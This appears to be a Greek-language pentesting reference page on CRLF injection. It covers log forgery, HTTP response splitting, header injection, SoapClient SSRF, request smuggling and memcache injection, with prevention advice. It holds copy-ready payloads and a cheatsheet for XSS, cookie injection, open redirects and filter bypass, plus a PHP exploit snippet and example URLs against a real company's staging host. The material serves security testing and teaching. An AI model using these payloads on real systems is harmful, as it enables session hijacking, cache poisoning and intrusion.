CRLF (%0D%0A) Injection

Reading time: 11 minutes

CRLF

Ο χαρακτήρας Carriage Return (CR) και ο χαρακτήρας Line Feed (LF), συλλογικά γνωστοί ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να δηλώσουν το τέλος μιας γραμμής ή την αρχή μιας νέας. Οι διακομιστές ιστού και οι περιηγητές χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των HTTP headers και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά σε επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως οι Apache και Microsoft IIS.

CRLF Injection Vulnerability

Η ένεση CRLF περιλαμβάνει την εισαγωγή χαρακτήρων CR και LF σε είσοδο που παρέχεται από τον χρήστη. Αυτή η ενέργεια παραπλανεί τον διακομιστή, την εφαρμογή ή τον χρήστη να ερμηνεύσει την εισαγόμενη ακολουθία ως το τέλος μιας απάντησης και την αρχή μιας άλλης. Ενώ αυτοί οι χαρακτήρες δεν είναι εγγενώς επιβλαβείς, η κακή χρήση τους μπορεί να οδηγήσει σε διαχωρισμό απάντησης HTTP και άλλες κακόβουλες δραστηριότητες.

Example: CRLF Injection in a Log File

Example from here

Σκεφτείτε ένα αρχείο καταγραφής σε ένα πάνελ διαχειριστή που ακολουθεί τη μορφή: IP - Χρόνος - Επισκεπτόμενος Δρόμος. Μια τυπική καταχώρηση μπορεί να φαίνεται έτσι:

123.123.123.123 - 08:15 - /index.php?page=home

Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί μια CRLF ένεση για να χειριστεί αυτό το αρχείο καταγραφής. Εισάγοντας χαρακτήρες CRLF στο HTTP αίτημα, ο επιτιθέμενος μπορεί να αλλάξει τη ροή εξόδου και να κατασκευάσει καταχωρήσεις αρχείου καταγραφής. Για παράδειγμα, μια εισαχθείσα ακολουθία μπορεί να μετατρέψει την καταχώρηση του αρχείου καταγραφής σε:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Εδώ, %0d και %0a αντιπροσωπεύουν τις URL-κωδικοποιημένες μορφές CR και LF. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίζεται παραπλανητικά:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Ο επιτιθέμενος έτσι καλύπτει τις κακόβουλες δραστηριότητές του κάνοντάς το να φαίνεται ότι ο localhost (μια οντότητα που συνήθως εμπιστεύεται μέσα στο περιβάλλον του διακομιστή) εκτέλεσε τις ενέργειες. Ο διακομιστής ερμηνεύει το μέρος του ερωτήματος που ξεκινά με %0d%0a ως μία μόνο παράμετρο, ενώ η παράμετρος restrictedaction αναλύεται ως μια άλλη, ξεχωριστή είσοδος. Το παραποιημένο ερώτημα μιμείται αποτελεσματικά μια νόμιμη διοικητική εντολή: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Περιγραφή

Το HTTP Response Splitting είναι μια ευπάθεια ασφαλείας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των HTTP απαντήσεων. Αυτή η δομή χωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Carriage Return (CR) ακολουθούμενη από Line Feed (LF), που ονομάζεται συλλογικά CRLF. Εάν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να χειραγωγήσει αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτός ο τύπος χειραγώγησης μπορεί να οδηγήσει σε σοβαρά ζητήματα ασφαλείας, ιδίως Cross-site Scripting (XSS).

XSS μέσω HTTP Response Splitting

1. Η εφαρμογή ορίζει μια προσαρμοσμένη κεφαλίδα όπως αυτή: X-Custom-Header: UserInput
2. Η εφαρμογή ανακτά την τιμή για το UserInput από μια παράμετρο ερωτήματος, ας πούμε "user_input". Σε σενάρια που λείπει η κατάλληλη επικύρωση και κωδικοποίηση εισόδου, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα payload που περιλαμβάνει την ακολουθία CRLF, ακολουθούμενη από κακόβουλο περιεχόμενο.
3. Ένας επιτιθέμενος δημιουργεί μια διεύθυνση URL με μια ειδικά κατασκευασμένη 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• Σε αυτή τη διεύθυνση URL, το %0d%0a%0d%0a είναι η URL-encoded μορφή του CRLFCRLF. Εξαπατά τον διακομιστή να εισάγει μια ακολουθία CRLF, κάνοντάς τον να θεωρεί το επόμενο μέρος ως το σώμα της απάντησης.

4. Ο διακομιστής ανακλά την είσοδο του επιτιθέμενου στην κεφαλίδα απάντησης, οδηγώντας σε μια μη προγραμματισμένη δομή απάντησης όπου το κακόβουλο σενάριο ερμηνεύεται από τον περιηγητή ως μέρος του σώματος της απάντησης.

Ένα παράδειγμα HTTP Response Splitting που οδηγεί σε Ανακατεύθυνση

Από https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Περιηγητής σε:

/%0d%0aLocation:%20http://myweb.com

Και ο διακομιστής απαντά με την κεφαλίδα:

Location: http://myweb.com

Άλλο παράδειγμα: (από https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Στο URL Path

Μπορείτε να στείλετε το payload μέσα στο URL path για να ελέγξετε την απάντηση από τον διακομιστή (παράδειγμα από εδώ):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Δείτε περισσότερα παραδείγματα στο:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTP Header Injection

Η HTTP Header Injection, που συχνά εκμεταλλεύεται μέσω της CRLF (Carriage Return and Line Feed) injection, επιτρέπει στους επιτιθέμενους να εισάγουν HTTP headers. Αυτό μπορεί να υπονομεύσει μηχανισμούς ασφαλείας όπως οι φίλτροι XSS (Cross-Site Scripting) ή η SOP (Same-Origin Policy), ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα, όπως τα CSRF tokens, ή στη χειραγώγηση των συνεδριών χρηστών μέσω της τοποθέτησης cookies.

Exploiting CORS via HTTP Header Injection

Ένας επιτιθέμενος μπορεί να εισάγει HTTP headers για να ενεργοποιήσει το CORS (Cross-Origin Resource Sharing), παρακάμπτοντας τους περιορισμούς που επιβάλλει η SOP. Αυτή η παραβίαση επιτρέπει σε σενάρια από κακόβουλες προελεύσεις να αλληλεπιδρούν με πόρους από διαφορετική προέλευση, ενδεχομένως αποκτώντας πρόσβαση σε προστατευμένα δεδομένα.

SSRF and HTTP Request Injection via CRLF

Η CRLF injection μπορεί να χρησιμοποιηθεί για να κατασκευάσει και να εισάγει ένα εντελώς νέο HTTP request. Ένα αξιοσημείωτο παράδειγμα αυτού είναι η ευπάθεια στην κλάση SoapClient της PHP, συγκεκριμένα μέσα στην παράμετρο user_agent. Με την παραποίηση αυτής της παραμέτρου, ένας επιτιθέμενος μπορεί να εισάγει επιπλέον headers και περιεχόμενο σώματος, ή ακόμη και να εισάγει εντελώς ένα νέο HTTP request. Παρακάτω είναι ένα παράδειγμα PHP που δείχνει αυτή την εκμετάλλευση:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και πιθανά προβλήματα ελέγξτε την αρχική πηγή.

Μπορείτε να εισάγετε βασικούς κεφαλίδες για να διασφαλίσετε ότι ο back-end διατηρεί τη σύνδεση ανοιχτή μετά την απάντηση στο αρχικό αίτημα:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Μετά, μπορεί να καθοριστεί ένα δεύτερο αίτημα. Αυτό το σενάριο περιλαμβάνει συνήθως HTTP request smuggling, μια τεχνική όπου επιπλέον κεφαλίδες ή στοιχεία σώματος που προστίθενται από τον διακομιστή μετά την ένεση μπορούν να οδηγήσουν σε διάφορες εκμεταλλεύσεις ασφαλείας.

Εκμετάλλευση:

1. Εισαγωγή Κακόβουλου Προθέματος: Αυτή η μέθοδος περιλαμβάνει την δηλητηρίαση του αιτήματος του επόμενου χρήστη ή μιας διαδικτυακής μνήμης cache καθορίζοντας ένα κακόβουλο πρόθεμα. Ένα παράδειγμα αυτού είναι:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Δημιουργία Προθέματος για Δηλητηρίαση Ουράς Απαντήσεων: Αυτή η προσέγγιση περιλαμβάνει τη δημιουργία ενός προθέματος που, όταν συνδυαστεί με υπολειπόμενα σκουπίδια, σχηματίζει ένα πλήρες δεύτερο αίτημα. Αυτό μπορεί να προκαλέσει δηλητηρίαση της ουράς απαντήσεων. Ένα παράδειγμα είναι:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Το Memcache είναι μια αποθήκη κλειδιών-τιμών που χρησιμοποιεί ένα πρωτόκολλο καθαρού κειμένου. Περισσότερες πληροφορίες στο:

11211 - Pentesting Memcache

Για πλήρεις πληροφορίες διαβάστε την αρχική αναφορά

Εάν μια πλατφόρμα λαμβάνει δεδομένα από ένα HTTP αίτημα και τα χρησιμοποιεί χωρίς απολύμανση για να εκτελέσει αιτήματα σε έναν διακομιστή memcache, ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά για να εισάγει νέες εντολές memcache.

Για παράδειγμα, στην αρχικά ανακαλυφθείσα ευπάθεια, τα κλειδιά cache χρησιμοποιήθηκαν για να επιστρέψουν τη διεύθυνση IP και την πόρτα στην οποία θα έπρεπε να συνδεθεί ένας χρήστης, και οι επιτιθέμενοι μπόρεσαν να εισάγουν εντολές memcache που θα δηλητηρίαζαν την cache για να στείλουν τις λεπτομέρειες των θυμάτων (συμπεριλαμβανομένων των ονομάτων χρηστών και των κωδικών πρόσβασης) στους διακομιστές των επιτιθέμενων:

Επιπλέον, οι ερευνητές ανακάλυψαν επίσης ότι μπορούσαν να αποσυγχρονίσουν τις απαντήσεις memcache για να στείλουν τη διεύθυνση IP και τις πόρτες των επιτιθέμενων σε χρήστες των οποίων το email δεν γνώριζαν:

Πώς να Αποτρέψετε CRLF / HTTP Header Injections σε Ιστοσελίδες

Για να μετριάσετε τους κινδύνους των CRLF (Carriage Return and Line Feed) ή των HTTP Header Injections σε ιστοσελίδες, προτείνονται οι εξής στρατηγικές:

1. Αποφύγετε την Άμεση Είσοδο Χρήστη σε Κεφαλίδες Απαντήσεων: Η ασφαλέστερη προσέγγιση είναι να αποφύγετε την ενσωμάτωση εισόδου που παρέχεται από τον χρήστη απευθείας σε κεφαλίδες απαντήσεων.
2. Κωδικοποιήστε Ειδικούς Χαρακτήρες: Εάν η αποφυγή άμεσης εισόδου χρήστη δεν είναι εφικτή, βεβαιωθείτε ότι χρησιμοποιείτε μια συνάρτηση αφιερωμένη στην κωδικοποίηση ειδικών χαρακτήρων όπως CR (Carriage Return) και LF (Line Feed). Αυτή η πρακτική αποτρέπει την πιθανότητα εισαγωγής CRLF.
3. Ενημερώστε τη Γλώσσα Προγραμματισμού: Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείται στις ιστοσελίδες σας στην τελευταία έκδοση. Επιλέξτε μια έκδοση που από τη φύση της δεν επιτρέπει την εισαγωγή χαρακτήρων CR και LF μέσα σε συναρτήσεις που έχουν ανατεθεί στην ρύθμιση των HTTP κεφαλίδων.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Αυτόματα Εργαλεία

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Λίστα Ανίχνευσης Brute-Force

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Αναφορές

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/